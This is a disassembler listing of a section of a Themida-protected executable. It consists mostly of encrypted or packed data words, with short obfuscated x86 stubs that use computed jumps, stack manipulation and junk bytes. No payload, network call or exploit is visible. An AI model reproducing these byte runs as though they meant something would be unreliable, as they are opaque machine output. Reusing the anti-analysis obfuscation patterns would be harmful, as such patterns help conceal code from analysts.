dd 2CE0126Eh, 47EA71EDh, 1FC35206h, 3AF168E4h, 5A664905h
dd 0DB3C13AFh, 2EF6F36Bh, 8B3F7E32h, 4C1E530Ch, 0CA9FD88Dh
dd 79327614h, 92395044h, 14B8835Dh, 775B923Ah, 2D6BDC62h
dd 0E1000000h, 50447932h, 0A95D9239h, 54407D32h, 0A1559235h
dd 7649842Ah, 1514B64Dh, 6DCC7CADh, 3609ED49h, 782FF68Dh
dd 351E8743h, 6E000000h, 8A97932h, 4CF6B5C7h, 0A86DCC7Ch
dd 0ADFCA8CCh, 6DCC7C10h, 704B80FAh, 9475EF17h, 0AE45D6F3h
dd 0BCFBAD2Ch, 366B149Fh, 0B6F19524h, 5F1348FFh, 0DA70E603h
dd 50447932h, 75875463h, 0F72D56B6h, 18322E67h, 0D1711846h
dd 359424B2h, 92AEE79Eh, 745FEB5h, 55F0F76Bh, 7B2F130Bh
dd 620E43FCh, 7B55868Dh, 0D8CC0DC0h, 0B2597F5Ch, 9E1F4FF7h
dd 2B9938Fh, 2D27949h, 1C2E124Bh, 1D4ED56Dh, 1135319Eh
dd 30651E9Dh, 73686F44h, 379DB259h, 0D69942Dh, 28809C60h
dd 0B122F25Eh, 439h, 0FEBAFDADh, 1E9AD177h, 5B9F297h, 1894D176h
dd 0FCB0EFA1h, 0CC80F20Eh, 0A74AD18Dh, 0BF63F266h, 9A51C884h
dd 0FA06E965h, 0DB3DB30Fh, 0CE56536Bh, 5B4E7932h, 6DCC7CE7h
dd 8B3F23FFh, 721E530Ch, 8B77AC53h, 0F16ADCEh, 0F4A72358h
dd 336B3619h, 65F9h, 0BD5C5300h, 0B6A3E083h, 0D153A70Ch
dd 0A1BB979Ch, 4B37761Ah, 10EE12E7h, 23A634DBh, 0EF0CD954h
dd 0FCEB0F34h, 718BE767h, 0B87042EAh, 0B5919581h, 371451F6h
dd 6A213F21h, 9423AFD8h, 500BE03Ch, 3CEB5F9Ah, 9423AF84h
dd 0A6B0EE95h, 0CBA6B990h, 502A9EC2h, 2254351Bh, 3512E74Ah
dd 998DC87Eh
dd 38010h, 79327C00h, 0B5412A44h, 1A95A6E4h, 0D5F4B2C7h
dd 0B169F02Eh, 35067EEh, 0CCEEBA08h, 0E2FE5A6Dh, 0B66DECFEh
dd 8DF26C81h, 907B5586h, 67FC83ABh, 93CA8239h, 0B46683DFh
dd 219DCCB8h, 0C4943C00h, 0FCD510AFh, 0DC397AADh, 37h
dd 1EBD5C2Eh, 9DDA8D4Ch, 98C698C0h, 0CC7C51F1h, 0A4B9B56Dh
dd 0FC7CCAE7h, 2FDA4C67h, 94238393h, 27DBF773h, 2383C680h
dd 0F78E2594h, 7B371FF2h, 0C2FF39h, 0D74D0000h, 0FA296196h
dd 4429993Fh, 0A5327F25h, 31AABFC7h, 3A51457Ah, 2CAB5796h
dd 33523E73h, 24E3578Ch, 6DCCDAA4h, 0A7B9EE95h, 12A5AA6h
dd 0BF765AEAh, 421ED209h, 812AB125h, 4C6B584Ch, 0DCEBD8Fh
dd 0B967FCC3h, 15A401BDh, 0B4CAB4C6h, 3CC54DF5h, 0F22BE294h
dd 62491EFAh, 9E0A0D68h, 0BCEA07Ch, 1C44195Ah, 3C320942h
dd 0E135A25h, 8FCE8239h, 0A9E89C1Bh, 378D7644h, 0DBCCD840h
dd 27Dh, 4AFE41F1h, 6ADE15CBh, 41FD36EBh, 64D815BAh, 38F433D5h
dd 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h, 764A45F9h
dd 0DB3F0FB3h, 420AE76Bh, 8B3F7E32h, 4C1E530Ch, 0F5A1D68Dh
dd 44E25C71h, 4C1EBD5Ch, 0D98D4C32h, 876EF29Eh, 6DCC7C3Bh
dd 3F336E14h, 0EE942BE3h, 7F63BFB3h, 7C90C16Ah, 0FA7667FCh
dd 83E75F06h, 2A069423h, 46D81541h, 8358AE08h, 9E401A0h
dd 0E9397B6Eh, 9Bh, 4E793263h, 0CC7CE75Bh, 5990386Dh, 0FDA9CDA9h
dd 37EB2ADEh, 0CC01E870h, 659A516Dh, 0E9B972E9h, 171B0748h
dd 5B7A473Bh, 7EBB6E80h, 89803F4h, 0C453B02Ch, 95464517h
dd 319E1556h, 0ECA01B35h, 6308D3ADh, 0E8D5126h, 0FAAE1B5Ah
dd 3440349Ah, 1A77760h, 6B1B0000h, 7F25B428h, 60059448h
dd 7F24B327h, 5D0F8642h, 40BCAA1Eh, 0AB1F5E12h, 8438792Ch
dd 0A21651F5h, 83376C13h, 4DF5B488h, 0A96BDB38h, 7E32804Ch
dd 70B800A4h, 0D57AE3E0h, 0E12FEE2h, 48FF7632h, 32119713h
dd 39504479h, 5AE15D92h, 7C627CB1h, 6772F04Fh, 0E59406D4h
dd 6DCC435Dh, 4BFEBDB9h, 3D1A160Ah, 76657441h, 20ECA564h
dd 0AEAA67FCh, 0DED0C2h, 3C67B909h, 0EC015D94h, 2D1EB857h
dd 90FB6D60h, 0C6F3D874h, 2C9D9524h, 7A31AABFh, 9D3C8945h
dd 0A0C4FFA3h, 657EDBCEh, 0B6889E0Ch, 2C634FF3h, 0DDA0729Eh
dd 9185BBFh, 0EA9E1D19h, 577BF7ABh, 3E732CABh, 76451752h
dd 0E6B592D3h, 0D209104Fh, 0B053E6F8h, 25348E7Dh, 54D09E2Ch
dd 0BB05B70h, 0FB941C72h, 0AD1AB1Fh, 0F77B2766h, 7DB259E2h
dd 215C1289h, 31D06375h, 460237F0h, 0EF01DAF9h, 2C36773Ch
dd 6E1D0F8Ah, 8A0C79D4h, 6F1A3430h, 8A0C79D3h, 671B3733h
dd 8240EB15h, 628A0C79h, 8E36C5FDh, 0C29E0DBEh, 40752EA5h
dd 0BFF4AB2Eh, 0D50CB4D3h, 0B82ADCF1h, 0DEF56A09h, 6B28E3FDh
dd 2B803C5Fh, 0E35B7C26h, 7AA861Fh, 12C6AAC6h, 9BB526ADh
dd 47CDB9F0h, 34F74986h, 0B655CC8Eh, 3AE60A66h, 0FBAFE49Bh
dd 0E28EC37Ch, 0EEFE59B3h, 87C66AB7h, 0C45FC9Bh, 5CF38E18h
dd 0DBF730D5h, 61C05F40h, 42B975AAh, 29A05489h, 4B5D4986h
dd 6F1819B8h, 7415EB9Fh, 0FFE33F33h, 37F067E3h, 9D1C0E02h
dd 7BF7ABECh, 3E35Eh, 5F590000h, 3D80326Dh, 64995249h
dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h
dd 5B943950h, 417830A7h, 8952CF55h, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 242C895Ch, 6FE468h, 240C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 6173230h
mov ecx, [esp]
add esp, 4
push esp
mov edx, [esp]
add esp, 4
push 3D33h
mov [esp], eax
mov eax, 8
add eax, edx
mov [eax], ecx
pop eax
push dword ptr [esp]
pop edx
add esp, 4
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 0A2h
dd 3EFBB595h, 1C57533Bh
db 0C4h, 0EAh, 0F4h
; ---------------------------------------------------------------------------
loc_5BFAD3: ; CODE XREF: Themida_:005BE5ECj
mov eax, 61745E3h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 29877911h, 4A6D2FE3h, 3962DFDDh, 136018A8h, 7F9CE9D8h
dd 5DFE6EAFh, 69784FA9h, 77827CE8h, 7CF52DDCh, 5AF1F4B9h
dd 243831F5h, 797227DFh, 471B8D8Dh, 6A0617h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 951452C3h
dd 180B0A37h, 8987BEEEh, 1009F58Dh, 6840F06h, 89000000h
dd 101C4185h, 1985C706h, 94061023h, 0F000072h, 28Ch, 0C736B600h
dd 1022C185h, 6, 75CE8100h, 0FF0BE3DCh, 101B25B5h, 0FF66B006h
dd 102DB995h, 0FD8D8906h, 6A061007h, 0C995FF00h, 8B061031h
dd 8919EBC0h, 0FAA4E1Eh, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h
dd 0F9C137A2h, 7143FF39h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h
dd 174747EDh, 8428B06h, 2638453Dh, 38850F78h, 8B000001h
dd 4A8B0C42h, 0BBC8D318h, 37E5772Bh, 0E883C333h, 0F5858904h
dd 8B061009h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 0C88E76BEh
dd 2BC633ABh, 0FCE083C7h, 8904E883h, 10231985h, 14428B06h
dd 22C18589h, 428B0610h, 0B0E95318h, 0FF000000h, 102821B5h
dd 0B9E906h, 0B5FF0000h, 61030C5h, 0AEE9h, 11B5FF00h, 0E9061012h
dd 0A3h, 11EDB5FFh, 98E90610h, 0FF000000h, 100BB9B5h, 8DE906h
dd 0B5FF0000h, 610232Dh, 82E9h, 0CDB5FF00h, 0E9061000h
dd 77h, 4E9B5FFh, 6CE90610h, 0FF000000h, 101D89B5h, 61E906h
dd 0B5FF0000h, 6102ED5h, 56E9h, 51B5FF00h, 0E906101Fh
dd 4Bh, 1B25B5FFh, 40E90610h, 0FF000000h, 100EA5B5h, 35E906h
dd 0B5FF0000h, 61008A1h, 2AE9h, 65B5FF00h, 0E9061008h
dd 1Fh, 4A5B5FFh, 14E90610h, 8B000000h, 0BB8D8h, 0F7660000h
dd 0A88D8DE3h, 3061747h, 0FFE1FFC8h, 102DB995h, 858B5B06h
dd 61009F5h, 0F045839h, 0F85h, 16A5300h, 31C995FFh, 0E95B0610h
dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 251858Bh
dd 8D8D0610h, 6174896h, 8B014189h, 9E8C3h, 13980000h, 0F6CBEA65h
dd 0B01EF8BCh, 81665E4Ah, 81C7C7C0h, 6965C6h, 0B8F0F00h
dd 0E9000000h, 6, 82AA2345h, 0B94342h, 66000000h, 0DB66E281h
dd 810E1C8Bh, 9392B1EBh, 75CA8058h, 0D874EB81h, 8B661DA9h
dd 28C381F9h, 0F165A3Dh, 388h, 0C28B6600h, 0B3E48053h
dd 0E90E048Fh, 0Ch, 0BA6760CEh, 1D5FA5E7h, 967BEB82h, 0E981D5B4h
dd 646762B1h, 0C18171B4h, 646762ADh, 12E9h, 0A6FA1C00h
dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 816DC0D7h, 0FF976CF9h
dd 27850FFFh, 0F000000h, 1681h, 0B70F6000h, 0CE9D9h, 0E5300000h
dd 7946CA9Ah, 1507DB97h, 0E961C0F7h, 13h, 2B4359F9h, 65E9210Fh
dd 5FFFFFFh, 707A3705h, 0E8FCFCE9h, 13h, 6D770F51h, 7D7AE2C9h
dd 882BAE14h, 0D343015Bh, 59E0DE2Ch, 0C181FA8Bh, 5BC3h
dd 0DE9h, 0B872BA00h, 42B1546Dh, 0C5F064D0h, 0D233480Eh
dd 8B665660h, 0FE95BF1h, 0C3000000h, 35A7D9F3h, 0E389D4C3h
dd 557D15D5h, 8B61C57Eh, 66601134h, 0FFC7CBAh, 684h, 850F00h
dd 61000000h, 1246F681h, 60BF6524h, 8147A94Ch, 0A895DEC6h
dd 0A4E8BB02h, 0C68102F3h, 2C8FC9DAh, 0F956C18Ah, 5011048Fh
dd 93C78166h, 890F5F3Fh, 0
; ---------------------------------------------------------------------------
sub edx, 4
movzx edi, ax
cmp edx, 0FFFFA504h
jnz loc_5BFEB4
movsx ebx, si
jmp loc_5BFEC3
; ---------------------------------------------------------------------------
dw 0CCAAh
dd 0C9E4CD65h, 0E1C10FCBh, 0B6452290h, 2072B2DFh
; ---------------------------------------------------------------------------
loc_5BFEB4: ; CODE XREF: Themida_:005BFE94j
movsx ebx, dx
jmp near ptr dword_5BFADC+367h
; ---------------------------------------------------------------------------
mov ebp, 0FA1D8745h
std
cmpsb
loc_5BFEC3: ; CODE XREF: Themida_:005BFE9Dj
jmp loc_5BFEE5
; ---------------------------------------------------------------------------
dd 6B3C2985h, 6 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5BFEE5: ; CODE XREF: Themida_:loc_5BFEC3j
jmp loc_5C037A
; ---------------------------------------------------------------------------
push 6174B7Bh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6174BF6h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6174D5Ah
jmp loc_5534D8
; ---------------------------------------------------------------------------
dd 0F6B2F595h, 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h
dd 0B4588AF6h, 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh
dd 0DB369B27h, 961E7B6Bh, 533F7E32h, 0E2568B34h, 8B65767Dh
dd 0FC1F03A0h, 13BA8167h, 0B90900DAh, 5D9423A1h, 3A36EC01h
dd 0A1A71F46h, 2D469423h, 587A5396h, 0F75A397Bh, 0B0000002h
dd 0A037BA15h, 0F96A213Bh, 1D67FC20h, 0F4AC2F41h, 680FA0BDh
dd 91463E57h, 6D80312h, 76665203h, 2ED5EC9Bh, 4D290DF9h
dd 0D68E4D33h, 1E4AF89Fh, 0AEAA9BB6h, 118ED99h, 0CB0900DAh
dd 8B918654h, 0BDA3BD8Fh, 0A65474CEh, 0E594909Dh, 9DA6545Dh
dd 0B8A0BDB9h, 366D13A6h, 0BCF19A21h, 2D27900h, 0D36F1A4Dh
dd 339DA654h, 0E69C1B37h, 0E922C7ABh, 994383E9h, 2FD1C8Dh
dd 17B70000h, 2BE158D4h, 0CC138F4h, 2BE057D3h, 9BB3AEEh
dd 0EC180ECAh, 0CF8BCA7Eh, 0E864A548h, 0C682BD71h, 0E763984Fh
dd 0B111F804h, 556BDB37h, 0A9D7CC58h, 0CC7C4002h, 0D7D2A46Dh
db 6Bh, 7Ch, 0CCh
byte_5C0023 db 6Dh ; DATA XREF: Themida_:0054D694o
dword_5C0024 dd 96B38F8Bh, 512BB047h, 0F7C64D5Ah, 5B046967h, 83D1F837h
; DATA XREF: ___:004327ECo
dd 0C799B38Fh, 24707EC4h, 0BD9A9694h, 2D6C209Bh, 47862AB1h
dd 70B10C5Bh, 0C9829424h, 0CDDC2794h, 44504A01h
dword_5C005C dd 28253h, 478A3C00h, 255C0493h, 427B32A9h, 1F5C0F86h
; DATA XREF: ___:off_432940o
dd 39782CABh, 97B8785h, 25B42867h, 10874384h, 2CAB1F5Ah
dd 9F8A3E73h, 3754EE9Dh, 33B06BDBh, 1EBD5C69h, 0C6405D4Ch
dd 25E67F7h, 7FC071E8h, 8E524C8h, 0CAF74F16h, 5D169424h
dd 5FDA04C6h, 3E8473A8h, 0F9424CAh, 0FF71215Ah, 24CAB60Ch
dd 0EED24E94h, 82579437h, 8274347Dh, 1901439h, 32760000h
dd 0DE504479h, 8D6AA95Bh, 74E81DC6h, 0F9D3080Fh, 7C9E24E7h
dd 0AA416DCCh, 68A9AD7Bh, 9267C3BBh, 25C9906Eh, 7F63984Fh
dd 0C098C16Ah, 576E67FCh, 9C077B4h, 244024D0h, 0C79D2970h
dd 80943Ch, 0AD599639h, 700FB4C9h, 7A6E9C75h, 3D7C39h
dd 0D7CE0000h, 75216004h, 6A89DCF1h, 0BA815F71h, 0AC60D716h
dd 0BE93906Dh, 5867FC7Ch, 0C58128DCh, 28942383h, 20F1F48Bh
dd 397B37h, 0C6h, 43873BFEh, 0A9F8805Bh, 0E79BB7D0h, 32D66E8Bh
dd 0AF2A4479h, 0FAACC1FAh, 36EA29DBh, 0BFB3E89Fh, 0FE37EE6Dh
dd 0E9B972E9h, 181C0847h, 0AD9E803Ch, 0D5DF6D74h, 0CDB693C8h
dd 6DCC0053h, 0B4C6FBA4h, 8063DFCAh, 0A7839233h, 806CD6D5h
dd 0AC889233h, 1BBA07CFh, 0C5FBAEC0h, 1D98054Dh, 0F8AC2F41h
dd 0D27605B9h, 87E12693h, 5D494A04h, 11E4Ch, 0F336D800h
dd 0D108C037h, 0EE27DE5Dh, 0CB08BB3Ah, 0A5E4880Fh, 95C74329h
dd 81F8B4F3h, 9C1B8FD0h, 0A82FABE6h, 1B0ECAFFh, 31D86A21h
dd 5F3C6BDBh, 3F7E32D5h, 28530C8Bh, 0D4C3FCB1h, 6DCC7C6Eh
dd 0B4C6AA86h, 7C63DFCAh, 2B4E6DCCh, 0BF483414h, 0F308641Ch
dd 7932DD6Bh, 86412A44h, 5701D9D0h, 9807E5Bh, 9FDE9262h
dd 1BBA07C3h, 0AF455B7h, 1C381A30h, 5E7A4742h, 0C09C67FCh
dd 3A792BAEh, 3A7FC77Eh, 17D0943Ch, 9F5108E2h, 44D38B60h
dd 0CC8F61A0h, 204D918h, 8291h, 0BD5CEB00h, 0F1A5DE83h
dd 12B05B75h, 0F26DCC7Ch, 89805A76h, 67F7C690h, 4F463A36h
dd 15E76398h, 0C98240EBh, 6629424h, 8CC16AF1h, 0D1B8A698h
dd 9424C971h, 0C7C49995h, 10B5762h, 681C9FC1h, 0D06F5429h
dd 0E9659A51h, 9084B972h, 471956F9h, 0DE92CF74h, 33259D8Ch
dd 65C1E171h, 28BA6C81h, 843BFA99h, 3A01DB4Fh, 0C7AB5796h
dd 4D8229B2h, 0B154E759h, 0D817B970h, 0B633482Ch, 3, 326D5F06h
dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E68956h
dd 4C6h, 4EE8300h, 8B243487h, 89502424h, 405E0h, 42D0000h
dd 87000000h, 895C2404h, 3768241Ch, 8900005Bh, 0EC83243Ch
dd 24348904h, 174A9DBEh, 5EF38906h, 8904EC83h, 4832424h
dd 685F0424h, 5FBBh, 0B8240489h, 8, 1889F801h, 2434FF58h
dd 4C4835Fh, 5B2434FFh, 4C481h, 61E90000h, 9FFFF931h
; ---------------------------------------------------------------------------
mov [edi], bl
loc_5C037A: ; CODE XREF: Themida_:loc_5BFEE5j
mov eax, 6174E9Dh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 60h
dd 985773E4h, 5F23A6C1h, 566C095Eh, 1E3EDAA0h, 0BD43EA65h
dd 0C901A86Eh, 12190E99h, 8A1DF6E6h, 0D75480A5h, 9B72EC40h
dd 0FF2A68C5h, 75039BD5h, 7422B1A3h, 4C2BFE0Ch, 7D00C259h
dd 865F25E0h, 0B133BA16h, 0FC2577BAh, 0E44E1550h, 5E4FD349h
dd 5A49913Bh, 7D7BF4C9h, 341A9F7Ah, 0DD5CACA4h, 0C3250388h
dd 0FC5BFF73h, 1E74E15Eh, 8D5100B3h, 1750708Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 8D8907B0h, 61009F5h, 5EB1B052h, 231985C7h, 5FDC0610h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 2F93ECC3h, 3764654Dh, 31019D01h, 85C70610h
dd 61022C1h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C0467
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0467 proc near ; CODE XREF: Themida_:005C045Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5C0467 endp
; ---------------------------------------------------------------------------
db 6Bh
dd 9447E507h, 9685039Ah, 0FFF38B66h, 100BB9B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 8B8AAC5Eh, 0B995FFD6h, 6A06102Dh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A014C353h
dd 0B58BA314h, 61031C1h, 95FF006Ah, 61031C9h, 4FEBC08Bh
dd 0B40441FBh, 7FECF0D5h, 2D41628Fh, 1F96E90Ah, 0D438D5ACh
dd 0C317B8ACh, 3148F9FEh, 2F7172BDh, 0B1F4579Bh, 541512E2h
dd 0B93B8C39h, 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 332E2DFDh
dd 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h, 0E8421D9Fh
dd 6, 0B4C4F623h, 8C0F8615h, 6, 1ECD8589h, 0E95B0610h
dd 6, 250ED851h, 0C3817FDEh, 64F1h, 0C7E636BAh, 29EA8124h
dd 0E924C7CDh, 0Bh, 5993B6A1h, 0AB5F83D5h, 8B086FD9h, 0F9BF0F03h
dd 58F0E881h, 81660C8Ah, 81EF62DEh, 39B5BCC0h, 4DB58B3Ah
dd 81061031h, 18BF52E8h, 0BD8B5765h, 61000C5h, 0BD31505Fh
dd 6102EC1h, 8589038Fh, 6101175h, 6601EB83h, 4B61C6B9h
dd 8A604B4Bh, 499589E1h, 61061012h, 0F01EA83h, 1785h, 27E900h
dd 67AB0000h, 3F7E6F5Fh, 300156C8h, 6B78D1AFh, 0BB66A88Bh
dd 49E0B966h, 0FFFF8AE9h, 0B973D9FFh, 170D90D2h, 0AA98E5FEh
dd 32E9A9h, 1E4A0000h, 5552h, 0Bh dup(0)
; ---------------------------------------------------------------------------
jmp loc_5C0BB1
; ---------------------------------------------------------------------------
db 6Ch, 0BAh, 77h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 34h, 8Ch, 55h
dd 72AB62D9h, 4F8C3FB6h, 69A85CDBh, 598BF7F5h, 35C478B7h
dd 60D75394h, 3CBB6FAAh, 0EFDA4E83h, 2DA41E0Dh, 63406BDBh
dd 0A97932D9h, 5AD6CA05h, 3EF24DBh, 4429431Fh, 7A21B336h
dd 0B96FE627h, 22B96582h, 0B6EB946Eh, 0CE8A66CAh, 0AB1712ECh
dd 4B6DCCE3h, 8A41FACFh, 0CCFA155h, 1661A57h, 0EF1026Eh
dd 61765A4Dh, 8FC31DAh, 0F0A4DB91h, 0DF936D9h, 0E69ADB8Eh
dd 22AE45FCh, 98993887h, 77FEBAEFh, 98C698D3h, 0CCA451F1h
dd 0A5B0B56Dh, 18A6BAFEh, 11C5A2BEh, 0B4F4AC2Fh, 9968AAEBh
dd 0F7ABC7B0h, 7E3C8685h, 5CD86DCCh, 0B7535378h, 4F401100h
dd 0D20DC17Ah, 0C506A71Eh, 952CC7D1h, 1F9BD68Ch, 0A0BAEF98h
dd 4D397619h, 431214E9h, 6DCCFFFAh, 0A95D9A4Dh, 54407D32h
dd 0A52BCA59h, 0EB0EA516h, 336AB322h, 5502h, 79324800h
dd 0DE5044h, 0CC7CB909h, 0EC015D6Dh, 0CC7C813Fh, 9A398A6Dh
dd 6B358E5Fh, 0A0CDFE33h, 0EA3FBBE2h, 1A04825h, 0EA000000h
dd 4F437A32h, 0D0AA5EDDh, 0E9FEE217h, 8F83BA72h, 2C691E9Dh
dd 54DFFC78h, 0EB7E72AFh, 4CF43DD4h, 69229915h, 97BBF499h
dd 7E328523h, 0DAC6FBA4h, 6B607A56h, 0EE93EE36h, 7865C1B5h
dd 99AE5DB2h, 0FF36EEEDh, 7CB96EEDh, 0CFCFAC88h, 904AE97Ah
dd 1307BB6Eh, 83DF6DCCh, 1300C269h, 88E46DCCh, 544E873h
dd 0E419D249h, 0BBF49930h, 0DD1CD0C7h, 0B9FBB229h, 0AB106AEh
dd 867A56B1h, 0AD13B2D1h, 0CD28C7FCh, 336B0814h, 0D512B584h
dd 7850F8h, 32BA0000h, 34533F7Eh, 0BF7A548Dh, 0A3E7C60Ch
dd 1A9B4E70h, 11E64A36h, 0AA495A15h, 0C09AD98Bh, 2A691B9Eh
dd 0B70BFA76h, 4F6DCCB7h, 0B940F6D3h, 522CD817h, 0D4A9E287h
dd 7A316407h, 6DCCB7C8h, 6014302Ch, 0E57C37h, 336A68BDh
dd 519Dh, 4D7EF00h, 0F36F235Eh, 6CAB5DD6h, 296D21B8h, 5E45F73h
dd 25DC5B30h, 183C38ECh, 13B2916Ch, 4D1F5E12h, 0BD9ADB8Eh
dd 7A3273F9h, 0BF084F43h, 806DCC7Ch, 6C45A03Fh, 4C336B35h
dd 12h, 0B5A07972h, 493029B3h, 3325E062h, 4C280492h, 4D7952Fh
dd 0F470245Dh, 6CA55CD7h, 356A21B8h, 59C5741h, 0B02C651Ch
dd 6A21C453h, 6DCC7CD8h, 0EA04E03Ch, 0FC06DA3Fh, 0C4B0AC67h
dd 75E91EC5h, 63FF3DE6h, 0C0D3F852h, 9AC1B591h, 94235D2Ah
dd 38F99827h, 0FCDE5A8Fh, 584C8B3Dh, 8B34FFDCh, 742BAA56h
dd 0CFC3FEA4h, 5D14AE5Dh, 74F09423h, 0CB807450h, 90BD19B8h
dd 7017FAB6h, 0FEEB473Bh, 2CAB08B9h, 961D3A77h, 1A04B8EDh
dd 0B44DA331h, 9267D701h, 7B4F448Dh, 17A2439h, 311A0000h
dd 0A3A56AB2h, 1CA8C510h, 4C1EBD5Ch, 0FC266C5Dh, 0F8735867h
dd 0EFC67A5h, 0C3909463h, 2D49EE13h, 22CE4A50h, 13C7FCA3h
dd 0EE545729h, 694233Ah, 0DD864D2Ah, 26DDFCA8h, 334805F1h
dd 0B9EE959Ch, 0EF773A05h, 6157397Bh, 0B5000000h, 0F94996D7h
dd 9706CD12h, 439823C2h, 56E08229h, 8D04EDCCh, 0D0C4A0D7h
dd 0CC563989h, 357016EDh, 6AA34A41h, 59C03B6h, 50EF90B7h
dd 0E1FBE0FBh, 8A81B65Ah, 0EDCC5638h, 0E56480DCh, 0EF20740h
dd 0CC56871Bh, 87431F6Dh, 0DF1Eh, 7D3C2200h, 259D8CCBh
dd 0C16DCC56h, 38EC21CAh, 6943183Ch, 8128BD5Ch, 6DCC7CC1h
dd 0C0F5AE25h, 0BDAEC0A4h, 7A409717h, 599A4BC9h, 6678607Dh
dd 0E1F62DD3h, 0FC35412Ah, 3DE94567h, 7215E59Eh, 1E54135h
dd 337A734Dh, 79982460h, 7B24AFCCh, 8315D83Dh, 0F5B4C7B2h
dd 943C7F4Dh, 0CDA9CDA9h, 7E3792D9h, 502C943Ch, 7EC77B2Eh
dd 0A81F943Ch, 0CFACC801h, 8F7155ECh, 3C7E269Ch, 1655F794h
dd 66ED0A66h, 6FD488BDh, 5C32D868h, 998D69A8h, 0B9A7B99Dh
dd 28272B94h, 954B337Ah, 92AEB25Eh, 3F337013h, 321D06E3h
dd 0CC9E0760h, 7E25A450h, 754B5D49h, 2022A08Bh, 66C29E15h
dd 3C13B291h, 0C4FFA39Dh, 5E7054D0h, 0E415B980h, 15209D25h
dd 0D9FD799Eh, 7734492Dh, 942E915Ch, 68FEBAB6h, 715BD5Ch
dd 84585023h, 0C2AAD704h, 8767DDB1h, 0BF9A916Bh, 5767F707h
dd 865527DBh, 49AC9DDFh, 9174D3A7h, 641B98B5h, 43FC7B2Fh
dd 0A633620Eh, 5D2B603Bh, 0B02BAF46h, 62E0CBF8h, 82CB68CFh
dd 26ADCAA6h, 594487Dh, 5E7D295Eh, 6C926CA9h, 0CFB3CEDh
dd 0CB68CFB6h, 9F5D24Eh, 0E44DE49Fh, 0C352063Bh, 413BE71Ch
dd 0E69AD37Ah, 3F46D8Ah, 48000000h, 80326D5Fh, 9952493Dh
dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h
dd 94395044h, 7830A75Bh, 56CF5541h, 0C681E689h, 4, 5604EE83h
dd 42474FFh, 24048F5Eh, 0E689565Ch, 4C681h, 0EE810000h
dd 4, 5C243487h, 56242C89h, 0C681E689h, 4, 8704EE83h, 895C2434h
dd 0EC812404h, 4, 0BB241C89h, 61751C6h, 685BDD89h, 1F98h
dd 81242489h, 42404h, 81580000h, 4ECh, 242C8900h, 0FF08408Fh
dd 81582434h, 4C4h, 2434FF00h, 4C4835Dh, 0F92933E9h, 58A120FFh
dd 81270C4Fh, 9791EFA1h
db 83h
; ---------------------------------------------------------------------------
loc_5C0BB1: ; CODE XREF: Themida_:005C062Cj
mov eax, 61756B8h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 531Dh
dd 2A5A0F26h, 0FDFA2E93h, 9374756Ch, 8E9B07E4h, 90BA320Ah
dd 0D4F3386Ah, 94A6732Ah, 402B7D64h, 1AC04194h, 8711424h
dd 0E10D3A9Dh, 2E6E3BB2h, 0A86B73CDh, 0EB712392h, 0AA465EC9h
dd 5D167838h, 0E35839EFh, 13E86AF1h, 35000000h, 3B319EA4h
dd 2537662Ch, 672D0C3Dh, 210A55A1h, 0FE94DD0h, 0DA000000h
dd 0EDE810B0h, 0AA11DA75h, 0E49B8E58h, 0F5816CFh, 0C081D8BFh
dd 6F28h, 82BFCA8Bh, 0E800001Bh, 0Dh, 4D7893E7h, 0B590EA08h
dd 52F46208h, 11E8AFh, 4CFF0000h, 6422E99Eh, 0AD636F7Ah
dd 4D044876h, 0F59225Ch, 87h, 0FF5A5B00h, 5ECDB630h, 7E06BA66h
dd 0F064EE81h, 8B660934h, 7BEE81CAh, 0E9020F9Eh, 0Ah, 934F25F9h
dd 0DE561F00h, 0F68196EAh, 5C75F339h, 9CDB8166h, 12E956FCh
dd 54000000h, 0F3152BF1h, 0ABFBB08Bh, 0DC562DD5h, 4764756Fh
dd 0F008F3Dh, 68Ch, 3ACB8100h, 8363D67Fh, 0BE903E8h, 0E000000h
dd 8611FEABh, 600E2DDDh, 0F4842A7h, 0EF81DBBFh, 1, 1A850Fh
dd 0BA660000h, 38E9A5CDh, 75000000h, 4A06F2B3h, 25ECD6ACh
dd 89D24804h, 0A0B29521h, 0AE8h, 0DCC7BF00h, 5999A46Eh
